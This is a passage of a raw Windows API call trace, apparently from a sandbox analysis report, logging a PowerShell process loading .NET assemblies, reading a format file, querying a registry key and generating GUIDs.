(in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0148.958] GetLastError () returned 0x57 [0148.960] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", lpFilePart=0x0) returned 0x50 [0148.960] GetLastError () returned 0x57 [0148.961] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", lpFilePart=0x0) returned 0x5e [0148.961] GetLastError () returned 0x57 [0148.964] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", lpFilePart=0x0) returned 0x6c [0148.964] GetLastError () returned 0x57 [0148.965] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a [0148.965] GetLastError () returned 0x57 [0148.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0148.966] GetLastError () returned 0x57 [0148.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0148.966] GetLastError () returned 0x57 [0148.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0148.966] GetLastError () returned 0x57 [0148.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0148.967] GetLastError () returned 0x57 [0148.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0148.967] GetLastError () returned 0x57 [0148.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0148.967] GetLastError () returned 0x57 [0148.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0148.967] GetLastError () returned 0x57 [0149.031] VirtualQuery (in: lpAddress=0x2bd310, lpBuffer=0x2be310, dwLength=0x1c | out: lpBuffer=0x2be310*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.042] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x35f2afe, Data2=0x215b, Data3=0x470d, Data4=([0]=0x9b, [1]=0x63, [2]=0x58, [3]=0x0, [4]=0xd2, [5]=0x77, [6]=0x5a, [7]=0xbc))) returned 0x0 [0149.043] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xdfa572e3, Data2=0x76e4, Data3=0x4b3c, Data4=([0]=0x84, [1]=0xc3, [2]=0x1f, [3]=0x47, [4]=0xbf, [5]=0xcb, [6]=0x6b, [7]=0x4))) returned 0x0 [0149.044] VirtualQuery (in: lpAddress=0x2bd388, lpBuffer=0x2be388, dwLength=0x1c | out: lpBuffer=0x2be388*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.045] VirtualQuery (in: lpAddress=0x2bd388, lpBuffer=0x2be388, dwLength=0x1c | out: lpBuffer=0x2be388*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.045] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xd99c5705, Data2=0xb3f5, Data3=0x4093, Data4=([0]=0x97, [1]=0x72, [2]=0x29, [3]=0xf1, [4]=0x39, [5]=0xf4, [6]=0xf, [7]=0x2))) returned 0x0 [0149.058] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x3f796858, Data2=0x592e, Data3=0x40a2, Data4=([0]=0x8c, [1]=0x56, [2]=0xa3, [3]=0x71, [4]=0xe4, [5]=0x6f, [6]=0x85, [7]=0xed))) returned 0x0 [0149.058] VirtualQuery (in: lpAddress=0x2bd4b4, lpBuffer=0x2be4b4, dwLength=0x1c | out: lpBuffer=0x2be4b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.059] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.059] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.060] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xd15bd673, Data2=0x619f, Data3=0x4c75, Data4=([0]=0xb2, [1]=0xb8, [2]=0xf2, [3]=0xa7, [4]=0x19, [5]=0x24, [6]=0xf0, [7]=0xb9))) returned 0x0 [0149.060] VirtualQuery (in: lpAddress=0x2bd4b4, lpBuffer=0x2be4b4, dwLength=0x1c | out: lpBuffer=0x2be4b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.060] VirtualQuery (in: lpAddress=0x2bd3cc, lpBuffer=0x2be3cc, dwLength=0x1c | out: lpBuffer=0x2be3cc*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.079] VirtualQuery (in: lpAddress=0x2bd080, lpBuffer=0x2be080, dwLength=0x1c | out: lpBuffer=0x2be080*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.080] VirtualQuery (in: lpAddress=0x2bd080, lpBuffer=0x2be080, dwLength=0x1c | out: lpBuffer=0x2be080*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.081] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xe06153cf, Data2=0x13e4, Data3=0x43d5, Data4=([0]=0xaa, [1]=0x14, [2]=0xb3, [3]=0x11, [4]=0x99, [5]=0xef, [6]=0x5f, [7]=0xe0))) returned 0x0 [0149.081] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x118efe4a, Data2=0xfe87, Data3=0x49ac, Data4=([0]=0x87, [1]=0xde, [2]=0x3c, [3]=0x21, [4]=0x6e, [5]=0xc1, [6]=0xac, [7]=0x8e))) returned 0x0 [0149.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be0cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0149.082] GetLastError () returned 0x57 [0149.082] SetErrorMode (uMode=0x1) returned 0x1 [0149.082] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x314 [0149.082] GetLastError () returned 0x0 [0149.083] GetFileType (hFile=0x314) returned 0x1 [0149.083] SetErrorMode (uMode=0x1) returned 0x1 [0149.083] GetFileType (hFile=0x314) returned 0x1 [0149.083] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.090] GetLastError () returned 0x0 [0149.092] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.093] GetLastError () returned 0x0 [0149.094] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.094] GetLastError () returned 0x0 [0149.095] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.095] GetLastError () returned 0x0 [0149.097] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.097] GetLastError () returned 0x0 [0149.097] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.098] GetLastError () returned 0x0 [0149.098] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.098] GetLastError () returned 0x0 [0149.098] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.098] GetLastError () returned 0x0 [0149.101] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.101] GetLastError () returned 0x0 [0149.102] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.102] GetLastError () returned 0x0 [0149.102] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.102] GetLastError () returned 0x0 [0149.103] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.103] GetLastError () returned 0x0 [0149.103] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.103] GetLastError () returned 0x0 [0149.104] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.104] GetLastError () returned 0x0 [0149.105] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.105] GetLastError () returned 0x0 [0149.105] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.106] GetLastError () returned 0x0 [0149.142] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.142] GetLastError () returned 0x0 [0149.142] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0xbce, lpOverlapped=0x0) returned 1 [0149.142] GetLastError () returned 0x0 [0149.143] ReadFile (in: hFile=0x314, lpBuffer=0x31a82fe, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a82fe*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0149.143] GetLastError () returned 0x0 [0149.143] ReadFile (in: hFile=0x314, lpBuffer=0x31a8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31a8b90*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0149.143] GetLastError () returned 0x0 [0149.143] CloseHandle (hObject=0x314) returned 1 [0149.143] GetLastError () returned 0x0 [0149.143] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be194, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0149.144] GetLastError () returned 0x0 [0149.144] SetErrorMode (uMode=0x1) returned 0x1 [0149.144] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x31c9b8c | out: lpFileInformation=0x31c9b8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0149.144] GetLastError () returned 0x0 [0149.144] SetErrorMode (uMode=0x1) returned 0x1 [0149.144] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0149.144] GetLastError () returned 0x0 [0149.145] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be5b8 | out: phkResult=0x2be5b8*=0x314) returned 0x0 [0149.145] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x0, lpcbData=0x2be5fc*=0x0 | out: lpType=0x2be600*=0x1, lpData=0x0, lpcbData=0x2be5fc*=0x56) returned 0x0 [0149.145] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x67b350, lpcbData=0x2be5fc*=0x56 | out: lpType=0x2be600*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2be5fc*=0x56) returned 0x0 [0149.146] RegCloseKey (hKey=0x314) returned 0x0 [0149.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0149.146] GetLastError () returned 0x0 [0149.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be0f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0149.146] GetLastError () returned 0x0 [0149.156] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x5447c154, Data2=0x19c3, Data3=0x415b, Data4=([0]=0x90, [1]=0x4d, [2]=0xa2, [3]=0x6c, [4]=0xa3, [5]=0xd5, [6]=0xd8, [7]=0x96))) returned 0x0 [0149.157] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x73ed02b0, Data2=0xedaf, Data3=0x4924, Data4=([0]=0x98, [1]=0x40, [2]=0xa6, [3]=0xc0, [4]=0x55, [5]=0x91, [6]=0xfc, [7]=0x3))) returned 0x0 [0149.158] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xc617f281, Data2=0x7779, Data3=0x4579, Data4=([0]=0xaf, [1]=0xd2, [2]=0x52, [3]=0x56, [4]=0x94, [5]=0x9b, [6]=0xcd, [7]=0x59))) returned 0x0 [0149.158] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x6d2d7009, Data2=0xbf8e, Data3=0x420b, Data4=([0]=0xaf, [1]=0xc3, [2]=0xc6, [3]=0x25, [4]=0x28, [5]=0xa6, [6]=0x1c, [7]=0xc1))) returned 0x0 [0149.158] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x6ccf64f0, Data2=0x4e0e, Data3=0x4ce6, Data4=([0]=0x88, [1]=0xe8, [2]=0x91, [3]=0x23, [4]=0x89, [5]=0x88, [6]=0xc2, [7]=0xf1))) returned 0x0 [0149.159] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x344a072b, Data2=0xee5f, Data3=0x4d8e, Data4=([0]=0xb5, [1]=0x82, [2]=0x2b, [3]=0x1c, [4]=0xbf, [5]=0xb1, [6]=0xb7, [7]=0x30))) returned 0x0 [0149.159] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.159] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xc2556a22, Data2=0xdf46, Data3=0x4eb4, Data4=([0]=0xa6, [1]=0x62, [2]=0x8b, [3]=0x80, [4]=0x77, [5]=0x38, [6]=0xae, [7]=0x20))) returned 0x0 [0149.160] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.160] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.160] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x8fd9dcae, Data2=0xc89f, Data3=0x44a2, Data4=([0]=0xbb, [1]=0x68, [2]=0x98, [3]=0xad, [4]=0x4b, [5]=0x91, [6]=0xbf, [7]=0xcb))) returned 0x0 [0149.161] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x6962e10d, Data2=0x6499, Data3=0x4019, Data4=([0]=0x8f, [1]=0xde, [2]=0xeb, [3]=0xfb, [4]=0xcb, [5]=0x2c, [6]=0xf5, [7]=0x6a))) returned 0x0 [0149.162] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x6c634495, Data2=0x5653, Data3=0x43a0, Data4=([0]=0xb5, [1]=0x53, [2]=0xf0, [3]=0x46, [4]=0x64, [5]=0x37, [6]=0xf2, [7]=0xcc))) returned 0x0 [0149.162] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x5b701d67, Data2=0x5cb5, Data3=0x47ae, Data4=([0]=0x8d, [1]=0x2b, [2]=0xc2, [3]=0x8b, [4]=0x8, [5]=0x27, [6]=0xd4, [7]=0x4e))) returned 0x0 [0149.162] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.162] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x7294656, Data2=0x8306, Data3=0x46e6, Data4=([0]=0x97, [1]=0xf6, [2]=0x7c, [3]=0x6a, [4]=0xcd, [5]=0x10, [6]=0xfd, [7]=0x63))) returned 0x0 [0149.163] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.163] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.164] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.165] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.166] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.167] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x22337009, Data2=0xd296, Data3=0x4d37, Data4=([0]=0x8c, [1]=0x2a, [2]=0xb6, [3]=0x95, [4]=0x67, [5]=0x86, [6]=0x3f, [7]=0x77))) returned 0x0 [0149.168] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x2113bdeb, Data2=0xd13c, Data3=0x4426, Data4=([0]=0xae, [1]=0x72, [2]=0xa1, [3]=0x68, [4]=0xe4, [5]=0xd0, [6]=0xfa, [7]=0xe9))) returned 0x0 [0149.168] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xe089850d, Data2=0x2e68, Data3=0x4738, Data4=([0]=0xb1, [1]=0x60, [2]=0x36, [3]=0x3b, [4]=0x67, [5]=0x46, [6]=0xd8, [7]=0x10))) returned 0x0 [0149.168] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xcb153fb5, Data2=0xbacc, Data3=0x4df2, Data4=([0]=0x9e, [1]=0xfa, [2]=0x28, [3]=0x62, [4]=0x46, [5]=0x3f, [6]=0xd1, [7]=0xf4))) returned 0x0 [0149.168] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x9498535a, Data2=0x6f80, Data3=0x4101, Data4=([0]=0x9d, [1]=0x6a, [2]=0xa7, [3]=0xbd, [4]=0x2d, [5]=0xf5, [6]=0x79, [7]=0x9e))) returned 0x0 